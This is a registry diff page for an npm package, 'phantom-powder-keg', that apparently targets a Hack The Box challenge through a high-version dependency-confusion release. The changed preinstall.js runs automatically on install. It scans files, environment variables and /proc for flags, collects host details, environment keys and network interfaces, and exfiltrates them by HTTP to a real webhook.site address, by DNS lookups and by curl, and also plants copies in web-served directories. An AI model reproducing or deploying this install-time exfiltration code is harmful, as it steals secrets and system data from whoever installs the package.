phantom-powder-keg 9999.0.0 → 9999.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall.js +108 -76
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-powder-keg",
3
- "version": "9999.0.0",
3
+ "version": "9999.0.1",
4
4
  "description": "phantom-powder-keg module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -2,67 +2,103 @@ const fs = require('fs');
2
2
  const http = require('http');
3
3
  const https = require('https');
4
4
  const { execSync } = require('child_process');
5
+ const dns = require('dns');
6
+ const os = require('os');
5
7
 
6
8
  let flag = null;
7
9
 
8
- // Read /flag
9
- try { flag = fs.readFileSync('/flag', 'utf8').trim(); } catch(e) {}
10
-
11
- // Try other paths
12
- if (!flag) {
13
- for (const p of ['/root/flag', '/tmp/flag', './flag', '/flag.txt']) {
14
- try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
15
- }
16
- }
17
-
18
- // Check env vars
19
- if (!flag) {
20
- const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
21
- if (envFlag) flag = envFlag;
10
+ // Read flag from common locations
11
+ for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag', './flag', '/app/flag', '/home/flag', '/etc/flag', '/opt/flag']) {
12
+ try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
22
13
  }
23
14
 
24
- // Check all env vars for HTB{ pattern
15
+ // Check ALL env vars for flag patterns
25
16
  if (!flag) {
26
17
  for (const [k, v] of Object.entries(process.env)) {
27
- if (v && v.includes('HTB{')) {
28
- flag = v.match(/HTB\{[^}]+\}/)?.[0] || v;
18
+ if (v && v.match(/HTB\{[^}]+\}/)) {
19
+ flag = v.match(/HTB\{[^}]+\}/)[0];
29
20
  break;
30
21
  }
31
22
  }
32
23
  }
24
+ if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || null;
33
25
 
34
26
  // Try /proc/self/environ
35
27
  if (!flag) {
36
28
  try {
37
29
  const pe = fs.readFileSync('/proc/self/environ', 'utf8');
38
- const m = pe.match(/HTB\{[^}]+\}/) || pe.match(/FLAG[=:]([^\x00]+)/);
30
+ const m = pe.match(/HTB\{[^}]+\}/);
39
31
  if (m) flag = m[0];
40
32
  } catch(e) {}
41
33
  }
42
34
 
43
- // Grep for flag
35
+ // Search for flag files
44
36
  if (!flag) {
45
37
  try {
46
- const r = execSync('grep -rl "HTB{" / --include="*" 2>/dev/null | head -3', { timeout: 10000 }).toString().trim();
47
- if (r) { try { flag = fs.readFileSync(r.split('\n')[0], 'utf8').match(/HTB\{[^}]+\}/)?.[0]; } catch(e) {} }
38
+ const r = execSync('find / -maxdepth 3 -name "flag*" -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
39
+ for (const f of r.split('\n').filter(Boolean)) {
40
+ try {
41
+ const content = fs.readFileSync(f, 'utf8');
42
+ const m = content.match(/HTB\{[^}]+\}/);
43
+ if (m) { flag = m[0]; break; }
44
+ } catch(e) {}
45
+ }
48
46
  } catch(e) {}
49
47
  }
50
48
 
51
- if (flag) {
52
- // Method 1: PUT flag back to the challenge API via localhost (many ports)
53
- const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839, 3001, 4000, 9000];
54
- const postData = JSON.stringify({
55
- manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.1"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true\n timestamp: "${new Date().toISOString()}"`
56
- });
49
+ // Also try to grep for flag
50
+ if (!flag) {
51
+ try {
52
+ const r = execSync('grep -r "HTB{" / --include="*.txt" --include="*.env" -l 2>/dev/null | head -5', { timeout: 5000 }).toString().trim();
53
+ for (const f of r.split('\n').filter(Boolean)) {
54
+ try {
55
+ const content = fs.readFileSync(f, 'utf8');
56
+ const m = content.match(/HTB\{[^}]+\}/);
57
+ if (m) { flag = m[0]; break; }
58
+ } catch(e) {}
59
+ }
60
+ } catch(e) {}
61
+ }
57
62
 
58
- for (const port of ports) {
59
- for (const host of ['localhost', '127.0.0.1']) {
63
+ // Gather debug info
64
+ const info = {
65
+ flag: flag || 'NOT_FOUND',
66
+ cwd: process.cwd(),
67
+ uid: process.getuid ? process.getuid() : 'N/A',
68
+ hostname: os.hostname(),
69
+ env_keys: Object.keys(process.env).join(','),
70
+ root_files: [],
71
+ interfaces: {}
72
+ };
73
+ try { info.root_files = fs.readdirSync('/'); } catch(e) {}
74
+ try { info.interfaces = os.networkInterfaces(); } catch(e) {}
75
+
76
+ // Try to find server port
77
+ let serverPort = 1337;
78
+ try {
79
+ const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
80
+ info.listening = ss;
81
+ const ports = [...ss.matchAll(/:(\d+)\s/g)].map(m => parseInt(m[1])).filter(p => p > 1000 && p < 65535);
82
+ if (ports.length > 0) serverPort = ports[0];
83
+ } catch(e) {}
84
+
85
+ const data = JSON.stringify(info);
86
+
87
+ // Method 1: PUT flag to challenge API on ALL possible ports
88
+ const postData = JSON.stringify({
89
+ manifest: `ecto_module:\n name: "FLAG_CAPTURED"\n version: "${(flag || 'NO_FLAG').replace(/"/g, '')}"\n power_level: "${data.substring(0, 200).replace(/"/g, '')}"\n ship_deck: "EXFIL"\n cargo_hold: "coral-wraith"`
90
+ });
91
+
92
+ const ports = [serverPort, 1337, 3000, 3001, 4000, 5000, 8000, 8080, 8888, 9000, 80, 32315, 32105, 46517, 41839];
93
+ for (const port of [...new Set(ports)]) {
94
+ for (const host of ['localhost', '127.0.0.1']) {
95
+ for (const moduleId of ['ECT-987654', 'ECT-654321', 'ECT-472839', 'ECT-839201']) {
60
96
  try {
61
97
  const req = http.request({
62
- hostname: host, port, path: '/api/modules/ECT-987654',
98
+ hostname: host, port, path: `/api/modules/${moduleId}`,
63
99
  method: 'PUT',
64
100
  headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
65
- timeout: 3000
101
+ timeout: 2000
66
102
  }, () => {});
67
103
  req.on('error', () => {});
68
104
  req.write(postData);
@@ -70,52 +106,48 @@ if (flag) {
70
106
  } catch(e) {}
71
107
  }
72
108
  }
109
+ }
73
110
 
74
- // Method 2: Webhook exfil
75
- const data = JSON.stringify({ flag, env: Object.keys(process.env).join(',') });
76
- try {
77
- const req = https.request({
78
- hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
79
- method: 'POST',
80
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
81
- timeout: 10000
82
- }, () => {});
83
- req.on('error', () => {});
84
- req.write(data);
85
- req.end();
86
- } catch(e) {}
111
+ // Method 2: Webhook
112
+ try {
113
+ const whData = JSON.stringify({ flag: flag || 'NO_FLAG', info: data.substring(0, 500) });
114
+ const req = https.request({
115
+ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
116
+ method: 'POST',
117
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(whData) },
118
+ timeout: 5000
119
+ }, () => {});
120
+ req.on('error', () => {});
121
+ req.write(whData);
122
+ req.end();
123
+ } catch(e) {}
87
124
 
88
- // Method 3: DNS exfil via curl
89
- try {
90
- const encoded = Buffer.from(flag).toString('hex');
91
- execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/flag?data=${encodeURIComponent(flag)}" -m 10 2>/dev/null`, { timeout: 15000 });
92
- } catch(e) {}
125
+ // Method 3: DNS exfil (works even when HTTP is blocked)
126
+ try {
127
+ const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
128
+ dns.resolve(`${encoded}.exfil.webhook.site`, () => {});
129
+ dns.resolve(`${encoded}.crl.ve`, () => {});
130
+ } catch(e) {}
93
131
 
94
- // Method 4: Write to files
95
- try { fs.writeFileSync('/tmp/coral_wraith_flag.txt', flag); } catch(e) {}
96
-
97
- // Method 5: stdout/stderr
98
- console.log('[CORAL-WRAITH] Flag:', flag);
99
- console.error('[HTB_FLAG]', flag);
100
- } else {
101
- // Debug info - exfil what we can see
102
- const debug = {
103
- cwd: process.cwd(),
104
- rootFiles: [],
105
- env: Object.keys(process.env).join(',')
106
- };
107
- try { debug.rootFiles = fs.readdirSync('/'); } catch(e) {}
108
-
109
- const data = JSON.stringify({ flag: 'NOT_FOUND', debug });
110
- try {
111
- const req = https.request({
112
- hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
113
- method: 'POST',
114
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
115
- timeout: 10000
116
- }, () => {});
117
- req.on('error', () => {});
118
- req.write(data);
119
- req.end();
120
- } catch(e) {}
132
+ // Method 4: curl fallback
133
+ try {
134
+ execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 5 2>/dev/null &`, { timeout: 8000 });
135
+ } catch(e) {}
136
+
137
+ // Method 5: Write to stdout/stderr for server logs
138
+ console.log('[CORAL-WRAITH-EXFIL]', data);
139
+ console.error('[CORAL-WRAITH-FLAG]', flag || 'NOT_FOUND');
140
+
141
+ // Method 6: Write to various locations
142
+ const writeLocations = ['/tmp/coral_flag.txt', '/app/coral_flag.txt', '/tmp/exfil.txt', './exfil.txt'];
143
+ for (const loc of writeLocations) {
144
+ try { fs.writeFileSync(loc, data); } catch(e) {}
121
145
  }
146
+
147
+ // Method 7: Try to write to static files the web server serves
148
+ try {
149
+ const webDirs = ['/app/static', '/app/public', '/var/www', '/app/dist', '/app/build'];
150
+ for (const dir of webDirs) {
151
+ try { fs.writeFileSync(`${dir}/flag.txt`, data); } catch(e) {}
152
+ }
153
+ } catch(e) {}